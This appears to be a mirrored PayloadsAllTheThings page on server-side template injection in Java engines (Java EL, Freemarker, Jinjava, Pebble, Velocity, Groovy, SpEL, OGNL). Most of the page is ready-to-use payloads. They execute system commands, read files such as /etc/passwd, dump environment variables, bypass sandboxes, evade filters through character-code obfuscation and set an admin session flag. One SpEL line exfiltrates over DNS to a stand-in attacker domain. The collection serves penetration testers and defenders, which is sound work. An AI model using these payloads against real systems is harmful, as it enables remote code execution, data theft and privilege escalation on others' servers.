java.md (22974B)
1 --- 2 title: "Server Side Template Injection - Java" 3 topic: "Server Side Template Injection" 4 topicSlug: "server-side-template-injection" 5 sourcePath: "Server Side Template Injection/Java.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Template%20Injection/Java.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # Server Side Template Injection - Java 12 13 > Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker. 14 15 ## Summary 16 17 - [Templating Libraries](#templating-libraries) 18 - [Java EL](#java-el) 19 - [Java EL - Basic Injection](#java-el---basic-injection) 20 - [Java EL - Code Execution](#java-el---code-execution) 21 - [Freemarker](#freemarker) 22 - [Freemarker - Basic Injection](#freemarker---basic-injection) 23 - [Freemarker - Read File](#freemarker---read-file) 24 - [Freemarker - Code Execution](#freemarker---code-execution) 25 - [Freemarker - Code Execution with Obfuscation](#freemarker---code-execution-with-obfuscation) 26 - [Freemarker - Sandbox Bypass](#freemarker---sandbox-bypass) 27 - [Jinjava](#jinjava) 28 - [Jinjava - Basic Injection](#jinjava---basic-injection) 29 - [Jinjava - Command Execution](#jinjava---command-execution) 30 - [Pebble](#pebble) 31 - [Pebble - Basic Injection](#pebble---basic-injection) 32 - [Pebble - Code Execution](#pebble---code-execution) 33 - [Velocity](#velocity) 34 - [Groovy](#groovy) 35 - [Groovy - Basic Injection](#groovy---basic-injection) 36 - [Groovy - Read File](#groovy---read-file) 37 - [Groovy - HTTP Request:](#groovy---http-request) 38 - [Groovy - Command Execution](#groovy---command-execution) 39 - [Groovy - Command Execution with Obfuscation](#groovy---command-execution-with-obfuscation) 40 - [Groovy - Sandbox Bypass](#groovy---sandbox-bypass) 41 - [Spring Expression Language](#spring-expression-language) 42 - [SpEL - Basic Injection](#spel---basic-injection) 43 - [SpEL - Retrieve Environment Variables](#spel---retrieve-environment-variables) 44 - [SpEL - Retrieve /etc/passwd](#spel---retrieve-etcpasswd) 45 - [SpEL - DNS Exfiltration](#spel---dns-exfiltration) 46 - [SpEL - Session Attributes](#spel---session-attributes) 47 - [SpEL - Command Execution](#spel---command-execution) 48 - [Object-Graph Navigation Language](#object-graph-navigation-language) 49 - [OGNL - Basic Injection](#ognl---basic-injection) 50 - [OGNL - Command Execution](#ognl---command-execution) 51 - [References](#references) 52 53 ## Templating Libraries 54 55 | Template Name | Payload Format | 56 |---------------|------------------------| 57 | Codepen | `#{ }` | 58 | Freemarker | `${ }`, `#{ }`, `[= ]` | 59 | Groovy | `${ }` | 60 | Jinjava | `{{ }}` | 61 | Pebble | `{{ }}` | 62 | SpEL | `*{ }`, `#{ }`, `${ }` | 63 | Thymeleaf | `[[ ]]` | 64 | Velocity | `#set($X="") $X` | 65 66 ## Java EL 67 68 ### Java EL - Basic Injection 69 70 Java has multiple Expression Languages using similar syntax. 71 72 > Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`. 73 74 ```java 75 ${7*7} 76 ${{7*7}} 77 ${class.getClassLoader()} 78 ${class.getResource("").getPath()} 79 ${class.getResource("../../../../../index.htm").getContent()} 80 ``` 81 82 ### Java EL - Code Execution 83 84 ```java 85 ${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())} // Rendered RCE 86 ${''.getClass().forName('java.lang.Integer').valueOf('x'+''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes()))} // Error-Based RCE 87 ${1/((''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor()==0)?1:0)+''} // Boolean-Based RCE 88 ${(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').waitFor().equals(0)?(''.getClass().forName('java.lang.Thread')).sleep(5000):0).toString()} // Time-Based RCE 89 90 ``` 91 92 --- 93 94 ## Freemarker 95 96 [Official website](https://freemarker.apache.org/) 97 > Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data. 98 99 You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) 100 101 ### Freemarker - Basic Injection 102 103 The template can be : 104 105 - Default: `${3*3}` 106 - Legacy: `#{3*3}` 107 - Alternative: `[=3*3]` since [FreeMarker 2.3.4](https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html) 108 109 ### Freemarker - Read File 110 111 ```js 112 ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")} 113 Convert the returned bytes to ASCII 114 ``` 115 116 ### Freemarker - Code Execution 117 118 ```js 119 <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} 120 [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} 121 ${"freemarker.template.utility.Execute"?new()("id")} 122 #{"freemarker.template.utility.Execute"?new()("id")} 123 [="freemarker.template.utility.Execute"?new()("id")] 124 125 ${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()} // Error-Based RCE 126 ${1/((freemarker.template.utility.Execute"?new()(" … && echo UniqueString")?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval)} // Boolean-Based RCE 127 ${"freemarker.template.utility.Execute"?new()("id && sleep 5")} // Time-Based RCE 128 ``` 129 130 ### Freemarker - Code Execution with Obfuscation 131 132 FreeMarker offers the built-in function: `lower_abc`. This function converts int-based values into alphabetic strings, but not in the way you might expect from functions such as `chr` in Python, as the [documentation for lower_abc explains](https://freemarker.apache.org/docs/ref_builtins_number.html#ref_builtin_lower_abc): 133 134 If you wanted a string that represents the string: "id", you could use the payload: `${9?lower_abc+4?lower_abc)}`. 135 136 Chaining `lower_abc` to perform code execution (command: `id`): 137 138 ```js 139 ${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)} 140 ``` 141 142 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). 143 144 ### Freemarker - Sandbox Bypass 145 146 :warning: only works on Freemarker versions below 2.3.30 147 148 ```js 149 <#assign classloader=article.class.protectionDomain.classLoader> 150 <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> 151 <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> 152 <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> 153 ${dwf.newInstance(ec,null)("id")} 154 ``` 155 156 --- 157 158 ## Jinjava 159 160 [Official website](https://github.com/HubSpot/jinjava) 161 > Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content). 162 163 ### Jinjava - Basic Injection 164 165 ```python 166 {{'a'.toUpperCase()}} would result in 'A' 167 {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 168 ``` 169 170 Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) 171 172 ### Jinjava - Command Execution 173 174 Fixed by [HubSpot/jinjava PR #230](https://github.com/HubSpot/jinjava/pull/230) 175 176 ```ps1 177 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} 178 179 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} 180 181 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} 182 183 {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} 184 ``` 185 186 --- 187 188 ## Pebble 189 190 [Official website](https://pebbletemplates.io/) 191 192 > Pebble is a Java templating engine inspired by [Twig](/payloads/server-side-template-injection/php#twig) and similar to the Python [Jinja](/payloads/server-side-template-injection/python#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization. 193 194 ### Pebble - Basic Injection 195 196 ```java 197 {{ someString.toUPPERCASE() }} 198 ``` 199 200 ### Pebble - Code Execution 201 202 Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`. 203 204 New version of Pebble : 205 206 ```java 207 {% set cmd = 'id' %} 208 {% set bytes = (1).TYPE 209 .forName('java.lang.Runtime') 210 .methods[6] 211 .invoke(null,null) 212 .exec(cmd) 213 .inputStream 214 .readAllBytes() %} 215 {{ (1).TYPE 216 .forName('java.lang.String') 217 .constructors[0] 218 .newInstance(([bytes]).toArray()) }} 219 ``` 220 221 --- 222 223 ## Velocity 224 225 [Official website](https://velocity.apache.org/engine/1.7/user-guide.html) 226 227 > Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates. 228 229 In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result: 230 231 ```java 232 #set($str=$class.inspect("java.lang.String").type) 233 #set($chr=$class.inspect("java.lang.Character").type) 234 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) 235 $ex.waitFor() 236 #set($out=$ex.getInputStream()) 237 #foreach($i in [1..$out.available()]) 238 $str.valueOf($chr.toChars($out.read())) 239 #end 240 ``` 241 242 A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64: 243 244 ```java 245 #set($base64EncodedCommand = 'd2hvYW1p') 246 247 #set($contextObjectClass = $knownContextObject.getClass()) 248 249 #set($Base64Class = $contextObjectClass.forName("java.util.Base64")) 250 #set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null)) 251 #set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand)) 252 253 #set($StringClass = $contextObjectClass.forName("java.lang.String")) 254 #set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8")) 255 256 #set($commandArgs = ["/bin/sh", "-c", $command]) 257 258 #set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder")) 259 #set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs)) 260 #set($processBuilder = $processBuilder.redirectErrorStream(true)) 261 #set($process = $processBuilder.start()) 262 #set($exitCode = $process.waitFor()) 263 264 #set($inputStream = $process.getInputStream()) 265 #set($ScannerClass = $contextObjectClass.forName("java.util.Scanner")) 266 #set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream)) 267 #set($scannerDelimiter = $scanner.useDelimiter("\\A")) 268 269 #if($scanner.hasNext()) 270 #set($output = $scanner.next().trim()) 271 $output.replaceAll("\\s+$", "").replaceAll("^\\s+", "") 272 #end 273 ``` 274 275 Error-Based RCE payload: 276 277 ```java 278 #set($s="") 279 #set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass())) 280 #set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id") 281 #set($n=$p.waitFor()) 282 #set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8")) 283 #include($b) 284 ``` 285 286 Boolean-Based RCE payload: 287 288 ```java 289 #set($s="") 290 #set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")) 291 #set($n=$p.waitFor()) 292 #set($r=$p.exitValue()) 293 #if($r != 0) 294 #include("Y:/A:/xxx") 295 #end 296 ``` 297 298 Time-Based RCE payload: 299 300 ```java 301 #set($s="") 302 #set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id")) 303 #set($n=$p.waitFor()) 304 #set($r=$p.exitValue()) 305 #if($r != 0) 306 #set($t=$s.getClass().forName("java.lang.Thread").sleep(5000)) 307 #end 308 ``` 309 310 --- 311 312 ## Groovy 313 314 [Official website](https://groovy-lang.org/) 315 316 ### Groovy - Basic injection 317 318 Refer to [groovy-lang.org/syntax](https://groovy-lang.org/syntax.html) , but `${9*9}` is the basic injection. 319 320 ### Groovy - Read File 321 322 ```groovy 323 ${String x = new File('c:/windows/notepad.exe').text} 324 ${String x = new File('/path/to/file').getText('UTF-8')} 325 ${new File("C:\Temp\FileName.txt").createNewFile();} 326 ``` 327 328 ### Groovy - HTTP Request 329 330 ```groovy 331 ${"http://www.google.com".toURL().text} 332 ${new URL("http://www.google.com").getText()} 333 ``` 334 335 ### Groovy - Command Execution 336 337 ```groovy 338 ${"calc.exe".exec()} 339 ${"calc.exe".execute()} 340 ${this.evaluate("9*9") //(this is a Script class)} 341 ${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()} 342 ``` 343 344 ### Groovy - Command Execution with Obfuscation 345 346 You can bypass security filters by constructing strings from ASCII codes and executing them as system commands. 347 348 Payload represent the string: `id`: `${((char)105).toString()+((char)100).toString()}`. 349 350 Execute system command (command: `id`): 351 352 ```groovy 353 ${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text} 354 ``` 355 356 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation). 357 358 ### Groovy - Sandbox Bypass 359 360 ```groovy 361 ${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")}) 362 def x } 363 ``` 364 365 or 366 367 ```groovy 368 ${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") } 369 ``` 370 371 --- 372 373 ## Spring Expression Language 374 375 > Java EL payloads also work for SpEL 376 377 [Official website](https://docs.spring.io/spring-framework/docs/3.0.x/reference/expressions.html) 378 379 > The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality. 380 381 ### SpEL - Basic Injection 382 383 > SpEL has built-in templating system using `#{ }`, but SpEL is also commonly used for interpolation using `${ }`. 384 385 ```java 386 ${7*7} 387 ${'patt'.toString().replace('a', 'x')} 388 ${T(java.lang.Integer).valueOf('1')} 389 ``` 390 391 ### SpEL - Retrieve Environment Variables 392 393 ```java 394 ${T(java.lang.System).getenv()} 395 ``` 396 397 ### SpEL - Retrieve /etc/passwd 398 399 ```java 400 ${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')} 401 402 ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} 403 ``` 404 405 ### SpEL - DNS Exfiltration 406 407 DNS lookup 408 409 ```java 410 ${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","[ATTACKER.DOMAIN.TLD]")} 411 ``` 412 413 ### SpEL - Session Attributes 414 415 Modify session attributes 416 417 ```java 418 ${pageContext.request.getSession().setAttribute("admin",true)} 419 ``` 420 421 ### SpEL - Command Execution 422 423 - Method using `java.lang.Runtime` #1 - accessed with JavaClass 424 425 ```java 426 ${T(java.lang.Runtime).getRuntime().exec("whoami")} 427 ``` 428 429 - Method using `java.lang.Runtime` #2 430 431 ```java 432 #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} 433 #{session.getAttribute("rtc").setAccessible(true)} 434 #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} 435 ``` 436 437 - Method using `java.lang.Runtime` #3 - accessed with `invoke` 438 439 ```java 440 ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')} 441 ``` 442 443 - Method using `java.lang.Runtime` #3 - accessed with `javax.script.ScriptEngineManager` 444 445 ```java 446 ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"whoami\\\")"))} 447 ``` 448 449 - Method using `java.lang.ProcessBuilder` 450 451 ```java 452 ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} 453 ${request.getAttribute("c").add("cmd.exe")} 454 ${request.getAttribute("c").add("/k")} 455 ${request.getAttribute("c").add("whoami")} 456 ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} 457 ${request.getAttribute("a")} 458 ``` 459 460 - Error-Based payload: 461 462 ```java 463 ${T(java.lang.Integer).valueOf("x"+T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("id").inputStream.readAllBytes()))} 464 ``` 465 466 - Boolean-Based payload: 467 468 ```java 469 ${1/((T(java.lang.Runtime).getRuntime().exec("id").waitFor()==0)?1:0)+""} 470 ``` 471 472 - Time-Based payload: 473 474 ```java 475 ${(T(java.lang.Runtime).getRuntime().exec("id").waitFor().equals(0)?T(java.lang.Thread).sleep(5000):0).toString()} 476 ``` 477 478 ## Object-Graph Navigation Language 479 480 [Official website](https://commons.apache.org/dormant/commons-ognl/) 481 482 > OGNL stands for Object-Graph Navigation Language; it is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. You use the same expression for both getting and setting the value of a property. 483 484 ### OGNL - Basic Injection 485 486 > OGNL can be used with different tags like `${ }` 487 488 ```java 489 7*7 490 'patt'.toString().replace('a', 'x') 491 @java.lang.Integer@valueOf('1') 492 ``` 493 494 ### OGNL - Command Execution 495 496 Rendered: 497 498 ```java 499 new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) 500 ``` 501 502 Error-Based: 503 504 ```java 505 (new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))/0 506 ``` 507 508 Boolean-Based: 509 510 ```java 511 1/((@java.lang.Runtime@getRuntime().exec("id").waitFor()==0)?1:0)+"" 512 ``` 513 514 Time-Based: 515 516 ```java 517 ((@java.lang.Runtime@getRuntime().exec("id").waitFor().equals(0))?@java.lang.Thread@sleep(5000):0) 518 ``` 519 520 ## References 521 522 - [Bean Stalking: Growing Java beans into RCE - Alvaro Munoz - July 7, 2020](https://web.archive.org/web/20200707130000/https://securitylab.github.com/research/bean-validation-RCE) 523 - [Bug Writeup: RCE via SSTI on Spring Boot Error Page with Akamai WAF Bypass - Peter M (@pmnh_) - December 4, 2022](https://web.archive.org/web/20230203103413/https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/) 524 - [Expression Language Injection - OWASP - December 4, 2019](https://web.archive.org/web/20200422030628/https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection) 525 - [Expression Language injection - PortSwigger - January 27, 2019](https://web.archive.org/web/20251215015718/https://portswigger.net/kb/issues/00100f20_expression-language-injection) 526 - [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://web.archive.org/web/20250219021221/https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/) 527 - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://web.archive.org/web/20240906203847/https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation) 528 - [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://web.archive.org/web/20181207164702/https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) 529 - [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://web.archive.org/web/20200923134700/https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) 530 - [Server Side Template Injection – on the example of Pebble - Michał Bentkowski - September 17, 2019](https://web.archive.org/web/20250810034644/https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/) 531 - [Server-Side Template Injection: RCE For The Modern Web App - James Kettle (@albinowax) - December 10, 2015](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98) 532 - [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://web.archive.org/web/20150808084830/https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) 533 - [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://web.archive.org/web/20200501162014/https://www.youtube.com/watch?v=3cT0uE7Y87s) 534 - [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://web.archive.org/web/20220412162651/https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/) 535 - [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)